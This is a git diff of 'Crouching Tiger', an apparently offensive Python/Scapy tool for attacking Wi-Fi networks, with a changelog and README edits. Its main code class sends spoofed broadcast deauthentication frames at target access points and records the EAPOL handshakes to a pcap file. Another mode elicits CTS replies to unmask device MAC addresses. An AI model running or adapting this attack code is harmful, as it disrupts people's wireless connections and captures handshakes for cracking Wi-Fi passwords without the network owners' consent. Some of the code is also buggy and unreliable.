diff --git a/.gitignore b/.gitignore index bbcbdc1..6f7338b 100644 --- a/.gitignore +++ b/.gitignore @@ -11,6 +11,9 @@ wireless-regdb* example.ipynb config.ini share/* +Archive/* +Archive +archive.py ### Generated by gibo (https://github.com/simonwhitaker/gibo) ### https://raw.github.com/github/gitignore/4488915eec0b3a45b5c63ead28f286819c0917de/Global/Images.gitignore diff --git a/README.md b/README.md index c983f56..107d052 100644 --- a/README.md +++ b/README.md @@ -15,12 +15,9 @@ There are several of goals/ideal the project would like to achieve. They are: -* [X] Maintain a low footprint and system load -* [X] The ability to spawn attack vectors when an AP or client is available. * [ ] Run in the background for an indefinite period if need be. * [ ] Provide a scanning feature used to create a properly formatted csv file to store identified targets in. -* [ ] Provide a mac address sieve to identify real mac addresses in a network containing randomly generated ones. ## IMPORTANT NOTE @@ -103,14 +100,6 @@ use_daemon = boolean(default=False) if_type = option('create', 'switch', default='switch') valid_results = string(default='ct_valid.csv') channel_list = list(default=list(1, 6, 11)) - -# ----------------------------------------------------------- - -# Scan Settings -# ---------------- -[SCAN] -save_results = boolean(default=false) -results_file = string(default='ct_aps.csv') """ ``` @@ -148,10 +137,6 @@ There are three types of actions that can be performed: addresses. Then transmits a Clear to Send Frame. If the device responds with data frame, then information on the device will be stored and written to file. -4. SCAN [scn] = Scan for target - This action only scans for the target(s) provided and writes results to a csv file - This file can later be used with the attack command. - options: -h, --help show this help message and exit -v, --version show program's version number and exit @@ -170,7 +155,6 @@ actions: {att,mac,scn} You must use one. att Attack target mac Grab Valid addresses - scn Scan for target Processing will take several seconds, please be patient. ``` diff --git a/changelog.md b/changelog.md new file mode 100644 index 0000000..cbe885f --- /dev/null +++ b/changelog.md @@ -0,0 +1,135 @@ +0.4.0 / 2024-01-23 +================== + + + +1.1.3 / 2023-12-09 +================== + + * breaking down into modules + * asyncio swapped for trio + * cleaning up readme + * Delete clients.csv + * Delete clients.txt + * Delete essid.txt + * Delete aps.txt + * Delete probe-iterator.py + * Delete ssids.txt + * Delete APs.csv + * added to readme + * new method of CTS vector, nicely done + * before big cleaning of new method + * Merge pull request 'classified' (#3) from classified into master + * Merge branch 'master' into classified + * corrected transport layer + * cleaned up ignore file + * Merge pull request 'classified -> master' (#2) from classified into master + * Whew, what a bitch...milestone done + * corrected log formatting + * testing + * a few hiccups + * significant improvement in class formation + * significant improvement in class formation + * Commiting to classified_dev + * added pcap to gitignore + * Working with new way to parse args for classes + * Merge pull request 'classified' (#1) from classified into master + * Stops on keyboard interrupt, like it should. + * works, be needs to be cleaned up and further classified + * Working on classes + * like a top + * better run configuration + * corrected cts frame + * sniffers both async + * added bit about unique mac. + * new configuration for macpurger stops after first sent packet. + * playing with packet intervals + * finished up and readme + * Simplification of entire process + * Cleaning up + * wrapping up cts vector + * Works, but runs forever + * Testing CTS vector + * It Works! + * returned to more sloppy code; + * should be running round robin + * stopping for the night + * fixed daemon flag + * just errrggg + * removed faker-wifi-essid dependency + * added changing of mac addresses + * logging setup, daemonizing resolved, poetry is no longer required + * added ability to daemonize + * added to readme + * no error output, time for testing + * corrected spelling of system + * troubleshooting and debugging + * wrapping up attack mode + * creation attack mode + * working on vector + * added to gitignore + * formulating attack vector + * finally receiving output from scapy.sniff() + * Hardware issues discovered + * running tests + * configured configobj + * correcting more .gitignore + * correcting .gitignore + * mods to sniff + * might be running + * invalid interface error present + * Scapy-Scan-untested + +0.1.2 / 2023-10-15 +================== + + * Stops on keyboard interrupt, like it should. + * works, be needs to be cleaned up and further classified + * Working on classes + * like a top + * better run configuration + * corrected cts frame + * sniffers both async + * added bit about unique mac. + * new configuration for macpurger stops after first sent packet. + * playing with packet intervals + * finished up and readme + * Simplification of entire process + * Cleaning up + * wrapping up cts vector + * Works, but runs forever + * Testing CTS vector + * It Works! + * returned to more sloppy code; + +roundrobin / 2023-10-03 +======================= + + * should be running round robin + * stopping for the night + * fixed daemon flag + * just errrggg + * removed faker-wifi-essid dependency + * added changing of mac addresses + * logging setup, daemonizing resolved, poetry is no longer required + * added ability to daemonize + * added to readme + * no error output, time for testing + * corrected spelling of system + * troubleshooting and debugging + * wrapping up attack mode + * creation attack mode + * working on vector + * added to gitignore + * formulating attack vector + * finally receiving output from scapy.sniff() + * Hardware issues discovered + * running tests + * configured configobj + * correcting more .gitignore + * correcting .gitignore + * mods to sniff + * might be running + * invalid interface error present + * Scapy-Scan-untested + * underway diff --git a/changelog.org b/changelog.org new file mode 100644 index 0000000..8ac897f --- /dev/null +++ b/changelog.org @@ -0,0 +1,22 @@ +#+TITLE: Crouching Tiger Changelog +#+DATE: Tues Jan 23, 2024 +#+AUTHOR: Anoduck +#+PROJECT: Crouching Tiger +#+REPO: +#+LICENSE: MIT +#+OPTIONS: H:3 num:nil toc:nil \n:nil ::t |:t ^:t -:t f:T *:T +#+EXPORT_SELECT_TAGS: EXPORT +#+EXPORT_EXCLUDE_TAGS: noexport +# --------------------------------------- +* Changelog +** Unreleased +*** 2024.01.23 + - Dropped Asynchronous processing, as it was pointless + - Moved Attack action into it's own class. + - Code cleanup. + - Removed usage of trio. + - removed trio from project file + - removed daemon from project file + - removed daemonize from project file + - corrected purge startup + - It works \ No newline at end of file diff --git a/ctiger.py b/ctiger.py index 1fb3319..4633c62 100644 --- a/ctiger.py +++ b/ctiger.py @@ -27,15 +27,14 @@ from faker import Faker from art.art import tprint from dataclasses import dataclass import multiprocessing as mp -import trio import threading from random import choice from configobj import ConfigObj, validate from collections import Counter import pandas as pd import signal -import logging from time import sleep +import logging sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages')) # _ _ _ ____ ___ _ ___ _ ___ ___ @@ -52,7 +51,7 @@ pc = Counter() fake = Faker() # fake.add_provider(WifiESSID) -VERSION = "0.3.1" +VERSION = "0.4.0" # ------------------------------------------------------------ # ██████╗███████╗ ██████╗ ███████╗██████╗ ███████╗ ██████╗ @@ -90,43 +89,9 @@ use_daemon = boolean(default=False) if_type = option('create', 'switch', default='switch') valid_results = string(default='ct_valid.csv') channel_list = list(default=list(1, 6, 11)) - -# ----------------------------------------------------------- - -# Scan Settings -# ---------------- -[SCAN] -save_results = boolean(default=false) -results_file = string(default='ct_aps.csv') """ -# ----------------------------------------------------------- -# ██████╗ ██████╗ ███╗ ██╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗ -# ██╔══██╗██╔══██╗████╗ ██║ ██╔════╝██║ ██║████╗ ██║██╔════╝ -# ██████╔╝██████╔╝██╔██╗ ██║ █████╗ ██║ ██║██╔██╗ ██║██║ -# ██╔═══╝ ██╔══██╗██║╚██╗██║ ██╔══╝ ██║ ██║██║╚██╗██║██║ -# ██║ ██║ ██║██║ ╚████║ ██║ ╚██████╔╝██║ ╚████║╚██████╗ -# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ -# ----------------------------------------------------------- -def extract_essid(layers): - retval = '' - counter = 0 - - try: - while True: - layer = layers[counter] - if hasattr(layer, "ID") and layer.ID == 0: - retval = layer.info.decode('utf-8') - break - else: - counter += 1 - except IndexError: - pass - - return retval - - def extract_channel(layers): retval = '' counter = 0 @@ -145,98 +110,6 @@ def extract_channel(layers): return retval -# ------------------------------------------------------------ -# ██████╗ ██████╗ ███╗ ██╗██████╗ -# ██╔══██╗██╔══██╗████╗ ██║╚════██╗ -# ██████╔╝██████╔╝██╔██╗ ██║ █████╔╝ -# ██╔═══╝ ██╔══██╗██║╚██╗██║██╔═══╝ -# ██║ ██║ ██║██║ ╚████║███████╗ -# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ -# ------------------------------------------------------------ -def PRN2(pkt): - """Completely rewritten from the original formulation - bssid = MAC address of device (wether ap or client) - ssid = broadcast name of the device (iff ap)""" - if pkt[Dot11].type == 2: - try: - bssid = pkt[Dot11FCS].addr2 - except: - bssid = pkt[Dot11].addr2 - - try: - # ssid = pkt[Dot11Elt).info.decode() - ssid = pkt[Dot11Elt].getattr('info').decode() - except: - ssid = extract_essid(pkt[Dot11Elt]) - - if len(ssid) < 1: - ssid = 'N/A' - - try: - dbm_signal = pkt.dBm_AntSignal - except: - dbm_signal = "N/A" - if pkt.haslayer(Dot11Beacon): - stats = pkt[Dot11Beacon].network_stats() - channel = stats.get('channel') - crypto = stats.get('crypto') - else: - crypto = "N/A" - channel = extract_channel(pkt[Dot11Elt]) - pkt_list = [bssid, ssid, dbm_signal, channel, crypto] - return pkt_list - - -# ------------------------------------------------------------------ -# ███████╗████████╗██████╗ █████╗ ██╗███╗ ██╗███████╗██████╗ -# ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██║████╗ ██║██╔════╝██╔══██╗ -# ███████╗ ██║ ██████╔╝███████║██║██╔██╗ ██║█████╗ ██████╔╝ -# ╚════██║ ██║ ██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝ ██╔══██╗ -# ███████║ ██║ ██║ ██║██║ ██║██║██║ ╚████║███████╗██║ ██║ -# ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ -# ---------------------------------------------------------------- -# print("ToDS:", frame.FCfield & 0b1 != 0) -# print("MF:", frame.FCfield & 0b10 != 0) -# print("WEP:", frame.FCfield & 0b01000000 != 0) -# print("src MAC:", frame.addr2) -# print("dest MAC:", frame.addr1) -# print("BSSID:", frame.addr3) -# print("Duration ID:", frame.ID) -# print("Sequence Control:", frame.SC) -# print(feature(frame)) -# print("\n") -# ------------------------------------------------------------------ -# Five choices for Duration/ID: -# 1. Calculated per packet -# 2. Or one of the following: 16383, 26370, 32767, 65535 -# -# Calculated as: -# bytes = struct.pack("H", bytes)[0] -# ------------------------------------------------------------------ -def strainer(pkt) -> None: - if pkt[Dot11].type == 0 and pkt[Dot11].subtype == 4: - bssid = pkt[Dot11FCS].addr2 - log.info('BSSID for strainer: {0}'.format(bssid)) - log.debug('Local Macaddr is: {0}'.format(macaddr)) - idval = [16383, 26370, 32767, 65535] - durid = choice(idval) - new_pkt = RadioTap()/Dot11(proto=0, type=1, subtype=11, - addr1=bssid, - addr2=macaddr, - ID=durid) - log.debug('Sending RTS frame to {0} with type 11'.format(bssid)) - res = srp1(new_pkt, timeout=3, verbose=0, retry=0, threaded=True) - if res is not None: - if res[Dot11].type == 1 and res[Dot11].subtype == 12: - log.debug('Recieved CTS packet.') - log.info('Intercepted CTS from: {0}'.format(bssid)) - dbm_signal = pkt.dBm_AntSignal - channel = extract_channel(res[Dot11]) - scan_df.loc[bssid] = ['N/A', dbm_signal, channel, 'N/A'] - scan_df.to_csv(valid_file, mode='a') - - # ------------------------------------------------------------------- # ███╗ ██╗███████╗████████╗██████╗ ███████╗██╗ ██╗ # ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██║ @@ -329,13 +202,14 @@ class NetDev: sys.exit(1) +# --------------------------------------------------------- # ██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗ # ██╔══██╗██║ ██║██╔══██╗██╔════╝ ██╔════╝ # ██████╔╝██║ ██║██████╔╝██║ ███╗█████╗ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║██╔══╝ # ██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗ # ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ -# ------------------------------------------- +# --------------------------------------------------------- @dataclass class Purge(object): def __init__(self, **kwargs) -> None: @@ -360,9 +234,9 @@ class Purge(object): print(f'name={thread.name}, daemon={thread.daemon}') while True: ichan = choice(chans) - # log.debug('Hopping on: {0}'.format(ichan)) + log.debug('Hopping on: {0}'.format(ichan)) os.system(f'iw dev {self.mon_if} set channel {str(ichan)}') - # log.debug('Channel set to {0}'.format(ichan)) + log.debug('Channel set to {0}'.format(ichan)) sleep(14.7) def send_pkt(self, bssid) -> None: @@ -381,7 +255,7 @@ class Purge(object): sendp(new_pkt, verbose=0) return - async def get_interface(self, interface, mon_type) -> str: + def get_interface(self, interface, mon_type) -> str: self.interface = interface self.mon_type = mon_type ndev = NetDev(interface=self.interface, mon_type=self.mon_type) @@ -389,10 +263,27 @@ class Purge(object): mon_type=self.mon_type) return mon_if + def extract_channel(self, layers): + retval = '' + counter = 0 + + try: + while True: + layer = layers[counter] + if hasattr(layer, "ID") and layer.ID == 3 and layer.len == 1: + retval = ord(layer.info) + break + else: + counter += 1 + except IndexError: + pass + + return retval + def cts_prn(self, pkt): log.info('Intercepted CTS from {0}'.format(self.bssid)) dbm_signal = pkt.dBm_AntSignal - pkt_chan = extract_channel(pkt[Dot11]) + pkt_chan = self.extract_channel(pkt[Dot11]) log.debug('Extracted channel: {0}'.format(pkt_chan)) scan_df.loc[self.bssid] = [macaddr, dbm_signal, pkt_chan, 'N/A'] @@ -408,15 +299,7 @@ class Purge(object): self.send_pkt(bssid) return - async def start_sniff(self, probe_sniff): - await probe_sniff.start() - await trio.sleep(0) - - async def start_cts(self, cts_sniff): - await cts_sniff.start() - await trio.sleep(0) - - async def mac_revealer(self, interface, mon_type, valid_file, channels): + def mac_revealer(self, interface, mon_type, valid_file, channels): log.info('mac revealer started') self.interface = interface self.mon_type = mon_type @@ -426,7 +309,7 @@ class Purge(object): global scan_df scan_df = get_df() log.info('acquired Dataframe') - mon_if = await self.get_interface(self.interface, self.mon_type) + mon_if = self.get_interface(self.interface, self.mon_type) log.debug('mon_if: {0}'.format(mon_if)) log.debug('return type: {0}'.format(type(mon_if))) self.mon_if = mon_if @@ -435,123 +318,30 @@ class Purge(object): iface=mon_if, prn=self.probe_prn, filter="type mgt subtype probe-req", monitor=True) + probe_sniff.start() cts_sniff = AsyncSniffer(filter='type ctl subtype cts', iface=mon_if, prn=self.cts_prn, monitor=True) - async with trio.open_nursery() as nursery: - nursery.start_soon(self.channel_runner, - self.mon_if, self.channels) - nursery.start_soon(start_sniff, probe_sniff) - nursery.start_soon(start_cts, cts_sniff) + cts_sniff.start() + channel_thread = threading.Thread(target=self.channel_runner, + args=(self.mon_if, + self.channels)) + channel_thread.start() log.info('Channel runner started.') log.info('Probe sniffer started') log.info('CTS sniffer started') - await trio.sleep(0) - - def start_purge(self) -> None: - signal.signal(signal.SIGINT, signal_handler) - print('Enter Ctrl+C TWICE to fully stop the script.') - trio.run(self.mac_revealer, self.interface, self.mon_type, - self.valid_file, self.channels) - forever_wait = threading.Event() - forever_wait.wait() -# ----------------------------------------------------------------------------- -# ███████╗███╗ ██╗██╗███████╗███████╗ ███████╗████████╗ ██████╗ ██████╗ -# ██╔════╝████╗ ██║██║██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ -# ███████╗██╔██╗ ██║██║█████╗ █████╗ ███████╗ ██║ ██║ ██║██████╔╝ -# ╚════██║██║╚██╗██║██║██╔══╝ ██╔══╝ ╚════██║ ██║ ██║ ██║██╔═══╝ -# ███████║██║ ╚████║██║██║ ██║ ███████║ ██║ ╚██████╔╝██║ -# ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ -# ---------------------------------------------------------------------------- -async def sniff_stop(pkt): - global hndshk_frag - hndshk_frag = 0 - - pktdmp = PcapWriter('ctiger_handshake.pcap', append=True, sync=True) - pktdmp.write(pkt) - - if EAPOL in pkt: - hndshk_frag += 1 - else: - hndshk_frag = 0 - - if hndshk_frag >= 10: - hndshk_frag = 0 - return True - - -# ----------------------------------------------------------------------------- -# ███████╗███████╗████████╗ ██████╗██╗ ██╗ █████╗ ███╗ ██╗███╗ ██╗███████╗██╗ -# ██╔════╝██╔════╝╚══██╔══╝ ██╔════╝██║ ██║██╔══██╗████╗ ██║████╗ ██║██╔════╝██║ -# ███████╗█████╗ ██║ ██║ ███████║███████║██╔██╗ ██║██╔██╗ ██║█████╗ ██║ -# ╚════██║██╔══╝ ██║ ██║ ██╔══██║██╔══██║██║╚██╗██║██║╚██╗██║██╔══╝ ██║ -# ███████║███████╗ ██║ ╚██████╗██║ ██║██║ ██║██║ ╚████║██║ ╚████║███████╗███████╗ -# ╚══════╝╚══════╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚══════╝ -# ---------------------------------------------------------------------------- -async def set_channel(interface, channel): - try: - os.system('iw dev ', interface, ' set channel ', channel) - os.system('ip link set ', interface, ' up') - log.info('Channel set to ', channel) - except: - log.debug('Failed to set channel on ', interface) - print('Failed to set channel on ', interface) - - -# ----------------------------------------------------------------------------- -# ███████╗███████╗███████╗██████╗ ██████╗ █████╗ ████████╗██╗ ██╗███████╗██████╗ -# ██╔════╝██╔════╝██╔════╝██╔══██╗ ██╔════╝ ██╔══██╗╚══██╔══╝██║ ██║██╔════╝██╔══██╗ -# █████╗ █████╗ █████╗ ██║ ██║ ██║ ███╗███████║ ██║ ███████║█████╗ ██████╔╝ -# ██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ██║ ██║██╔══██║ ██║ ██╔══██║██╔══╝ ██╔══██╗ -# ██║ ███████╗███████╗██████╔╝ ╚██████╔╝██║ ██║ ██║ ██║ ██║███████╗██║ ██║ -# ╚═╝ ╚══════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ -# ----------------------------------------------------------------------------- -async def feed_gather(mon_dev, targ): - while True: - fg_asf = await AsyncSniffer(stop_filter=sniff_stop, iface=mon_dev, monitor=True) - log.info('Starting pkt gather') - await fg_asf.start() - # log.info('Setting mon_dev channel to ', channel) - pkt = RadioTap()/Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth() - log.debug('sending deauth to ', targ, ' with type 4') - sendp(pkt, iface=mon_dev, verbose=0) - await trio.sleep(1) - pkt = RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth() - log.debug('sending deauth to ', targ, ' with type 12') - sendp(pkt, iface=mon_dev, verbose=0) - await trio.sleep(1) - - -def grab_macs(pkt): - if pkt.haslayer(Dot11): - if pkt.type == 0 and pkt.subtype == 4: - if pkt.info != '': - log.debug('mac: ', pkt.addr2) - return pkt.addr2 - - -# ------------------------------------------------------------------------------- -# ██████╗██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ -# ██╔════╝██║ ██║██╔══██╗████╗ ██║ ██║ ██║██╔═══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗ -# ██║ ███████║███████║██╔██╗ ██║ ███████║██║ ██║██████╔╝██████╔╝█████╗ ██████╔╝ -# ██║ ██╔══██║██╔══██║██║╚██╗██║ ██╔══██║██║ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗ -# ╚██████╗██║ ██║██║ ██║██║ ╚████║ ██║ ██║╚██████╔╝██║ ██║ ███████╗██║ ██║ -# ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ -# ------------------------------------------------------------------------------- -async def chan_hopper(mon_dev, channels): - log.info('Channel hopper started.') - chlist = list(set(channels)) - chlist.sort() - chlist.remove(',') - chans = [int(chan) for chan in chlist] - while True: - ichan = choice(chans) - os.system('iw dev ', mon_dev, ' set channel ', str(ichan)) - log.debug('Channel set to ', str(ichan)) - await trio.sleep(4.7) - # return ichan +def start_purge(interface, mon_type, valid_file, channels) -> None: + signal.signal(signal.SIGINT, signal_handler) + print('Enter Ctrl+C TWICE to fully stop the script.') + purge = Purge() + purge.mac_revealer(interface=interface, + mon_type=mon_type, + valid_file=valid_file, + channels=channels) + forever_wait = threading.Event() + forever_wait.wait() # ------------------------------------------------------------- @@ -562,35 +352,104 @@ async def chan_hopper(mon_dev, channels): # ██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗ # ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ # ------------------------------------------------------------- -async def attack(mon_dev, scan_file): - log.info('Beginning Attack') - get_df() - targets = pd.read_csv(scan_file, index_col=0) - tpairs = targets.drop(columns=['crypt', 'ssid']) - pd_chan_list = tpairs.channel.to_list() - channels = list(set(pd_chan_list)) - log.debug('Channel Type: ', str(type(channels))) - pd_bssid_list = tpairs.bssid.to_list() - bssids = list(set(pd_bssid_list)) - log.info('Channel list: ', str(channels)) - log.info('BSSID list: ', str(bssids)) - asniff = AsyncSniffer(iface=mon_dev, prn=grab_macs, monitor=True, store=False) - asniff.start() - log.info('Starting channel hopper') - while True: - await chan_hopper(mon_dev, channels) - if asniff.results is not None: - with await asniff.results() as ares: - for row in ares: - if row[1] in targets: - log.info('Found target: ', row[1]) - await feed_gather(mon_dev, row) - await trio.sleep(1) +class attack: + + def __init__(self, mon_dev, scan_file, log): + self.mon_dev = mon_dev + self.scan_file = scan_file + log = log + + def sniff_stop(self, pkt): + global hndshk_frag + hndshk_frag = 0 + + pktdmp = PcapWriter('ctiger_handshake.pcap', append=True, sync=True) + pktdmp.write(pkt) + + if EAPOL in pkt: + hndshk_frag += 1 + else: + hndshk_frag = 0 + + if hndshk_frag >= 10: + hndshk_frag = 0 + return True + + def feed_gather(self, mon_dev, targ): + while True: + fg_asf = AsyncSniffer(stop_filter=self.sniff_stop, + iface=mon_dev, monitor=True) + log.info('Starting pkt gather') + fg_asf.start() + # log.info('Setting mon_dev channel to ', channel) + pkt = RadioTap()/Dot11(type=0, subtype=4, + addr1="ff:ff:ff:ff:ff:ff", + addr2=targ, addr3=targ)/Dot11Deauth() + log.debug('sending deauth to ', targ, ' with type 4') + sendp(pkt, iface=mon_dev, verbose=0) + pkt = RadioTap()/Dot11(type=0, subtype=12, + addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth() + log.debug('sending deauth to ', targ, ' with type 12') + sendp(pkt, iface=mon_dev, verbose=0) + + def grab_macs(self, pkt): + if pkt.haslayer(Dot11): + if pkt.type == 0 and pkt.subtype == 4: + if pkt.info != '': + log.debug('mac: ', pkt.addr2) + return pkt.addr2 + + def chan_hopper(self, mon_dev, channels): + log.info('Channel hopper started.') + chlist = list(set(channels)) + chlist.sort() + chlist.remove(',') + chans = [int(chan) for chan in chlist] + while True: + ichan = choice(chans) + iw_cmd = 'iw dev ' + mon_dev + ' set channel ' + str(ichan) + os.system(iw_cmd) + log.debug('Channel set to ', str(ichan)) + sleep(14.7) + # return ichan + + def attack(self, mon_dev, scan_file): + log.info('Beginning Attack') + get_df() + targets = pd.read_csv(scan_file, index_col=0) + tpairs = targets.drop(columns=['crypt', 'ssid']) + pd_chan_list = tpairs.channel.to_list() + channels = list(set(pd_chan_list)) + log.debug('Channel Type: ', str(type(channels))) + pd_bssid_list = tpairs.bssid.to_list() + bssids = list(set(pd_bssid_list)) + log.info('Channel list: ', str(channels)) + log.info('BSSID list: ', str(bssids)) + asniff = AsyncSniffer(iface=mon_dev, + prn=self.grab_macs, + monitor=True, store=False) + asniff.start() + log.info('Starting channel hopper') + while True: + ch_thread = threading.Thread( + target=self.chan_hopper, + args=(mon_dev, channels)) + ch_thread.start() + if asniff.results is not None: + with asniff.results() as ares: + for row in ares: + if row[1] in targets: + log.info('Found target: ', row[1]) + fg_thread = threading.Thread( + target=self.feed_gather, + args=(mon_dev, row)) + fg_thread.start() -def start_attack(mondev, scan_file): +def start_attack(mondev, scan_file, log): log.info('Starting the attack') - trio.run(attack, mondev, scan_file) + att = attack(mondev, scan_file, log) + att.attack(mondev, scan_file) # --------------------------------------------------------------------------- @@ -601,6 +460,7 @@ def start_attack(mondev, scan_file): # ██████╔╝██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝██║ ╚████║ # ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ # ---------------------------------------------------------------------------- +# This shit does not work. def proc_attack(interface, scan_file, mon_type): mon_dev = start_monitor(interface, mon_type) mp.set_start_method('spawn') @@ -616,30 +476,6 @@ def proc_attack(interface, scan_file, mon_type): trio.run(attack, mon_dev, scan_file) -# ------------------------------------------------------------- -# ███████╗ ██████╗ █████╗ ███╗ ██╗ -# ██╔════╝██╔════╝██╔══██╗████╗ ██║ -# ███████╗██║ ███████║██╔██╗ ██║ -# ╚════██║██║ ██╔══██║██║╚██╗██║ -# ███████║╚██████╗██║ ██║██║ ╚████║ -# ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ -# ------------------------------------------------------------- -def scan_scn(interface, save_results, rfile): - scan_df = get_df() - # ssocket = conf.L2socket(iface=if_mon) - sniff_ses = sniff(prn=PRN2, iface=interface, - count=10, monitor=True) - print(str(sniff_ses)) - if save_results: - scan_df.to_csv(rfile) - print('results written to file ', rfile) - else: - print(scan_df) - # stop_monitor(if_mon) - print('Done') -# ------------------------------------------------------------- - - # ------------------------------------------------------------- # ██████╗ ███████╗████████╗ ██████╗ ███████╗ # ██╔════╝ ██╔════╝╚══██╔══╝ ██╔══██╗██╔════╝ @@ -669,21 +505,34 @@ def signal_handler(signal=signal.SIGINT, frame=None) -> None: exit(0) -def get_log(log_file, log_level): - logfile = os.path.abspath(log_file) +def rotate_logfile(logfile): + log_size = os.path.getsize(logfile) + smart_size = log_size % 1024 + if smart_size >= 1024: + os.remove(logfile) + + +def get_log(log_file): + log = log_file + lev = 'debug' + rot = True + if not os.path.exists(log): + open(log, 'a').close() + if rot: + rotate_logfile(log) log = logging.getLogger(__name__) if log.hasHandlers(): log.handlers.clear() - # lvl = str(f'logging.{log_level}') - # lgvl = lvl.strip() - # log.setLevel(lgvl) - log.setLevel(logging.DEBUG) - handler = logging.FileHandler(logfile, mode='a', encoding='utf-8') + if lev == 'info': + log.setLevel(logging.INFO) + elif lev == 'debug': + log.setLevel(logging.DEBUG) + handler = logging.FileHandler(log, mode='a', encoding='utf-8') formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') handler.setFormatter(formatter) log.addHandler(handler) - log.info('Started crouching tiger') - log.info('Started logger...') + log.info('started motion detection') + log.info('Acquired Logger') return log @@ -698,7 +547,7 @@ def get_log(log_file, log_level): # This is some fancy shit. def process_args(args: argparse.Namespace) -> None: """ - Processes the command line arguments. + Processes the command line arguments. Args: args (argparse.Namespace): The parsed command line arguments. @@ -721,20 +570,10 @@ def process_args(args: argparse.Namespace) -> None: log.debug('args: {0}'.format(args)) global valid_file valid_file = args.valid_file - pge = Purge(interface=args.name, + start_purge(interface=args.name, mon_type=args.mon_type, valid_file=args.valid_file, channels=args.channels) - pge.start_purge() - case "scn": - log.info('Start scanning...') - if not args.save_results: - rfile = None - log.debug('Not saving results') - else: - rfile = args.rfile - log.debug('Saving results to ', rfile) - scan_scn(args.interface, args.save_results, rfile) case _: ap.print_help() @@ -797,9 +636,10 @@ else: # ArgParse Setup # ################## ap = argparse.ArgumentParser( - prog=prog, formatter_class=argparse.RawTextHelpFormatter, - usage='%(prog)s -i $IFACE (-t $TARGET or -f $TARGET_FILE)', + conflict_handler='resolve', + usage='%(prog)s -i $IFACE (-t $TARGET or -f $TARGET_FILE) {mac,att,scn}', + epilog='Processing will take several seconds, please be patient.\n', description='Performs various actions on wifi targets.\n' '\n' 'This program was created with the intent to allow users to attack\n' @@ -812,13 +652,7 @@ else: ' If found will begin capturing a pcap file and deauth attack.\n' '\n' '3. Mac_Purge [mac] = Experimental: Scans for wireless devices and acquires their MAC\n' ' addresses. Then transmits a Clear to Send Frame. If the device responds with \n' - ' data frame, then information on the device will be stored and written to file.\n' - '\n' - '4. SCAN [scn] = Scan for target\n' - ' This action only scans for the target(s) provided and writes results to a csv file\n' - ' This file can later be used with the attack command.\n', - epilog='Processing will take several seconds, please be patient.\n', - conflict_handler='resolve') + ' data frame, then information on the device will be stored and written to file.\n') # options parser ap.add_argument('-v', '--version', action='version', version=f'%(prog)s {VERSION}') @@ -861,18 +695,7 @@ else: mac_parse.add_argument('-c', '--channels', dest='channels', default=config['MAC_PURGE']['channel_list'], help='A single or comma seperated list of channels.') - mac_parse.set_defaults(fun=Purge.start_purge) - - # scn Subcommands - scn_parse = subparse.add_parser('scn', help='Scan for target') - scn_parse.add_argument('-s', '--save', dest='save_results', - action='store_true', - default=config['SCAN']['save_results'], - help='Save results to file.') - scn_parse.add_argument('-o', '--output', dest='rfile', - default=config['SCAN']['results_file'], - help='File to write results too.') - scn_parse.set_defaults(fun=scan_scn) + mac_parse.set_defaults(fun=start_purge) ################## # parse the args # diff --git a/ctiger.sublime-project b/ctiger.sublime-project new file mode 100644 index 0000000..001dbbe --- /dev/null +++ b/ctiger.sublime-project @@ -0,0 +1,17 @@ +{ + "folders": + [ + { + "path": ".", + } + ], + "build_systems": + [ + { + "file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)", + "name": "Anaconda Python Builder", + "selector": "source.python", + "shell_cmd": "\"python\" -u \"$file\"" + } + ], +} diff --git a/poetry.lock b/poetry.lock index 58200da..ea90ca4 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand. [[package]] name = "art" @@ -41,27 +41,6 @@ files = [ [package.dependencies] six = "*" -[[package]] -name = "daemon" -version = 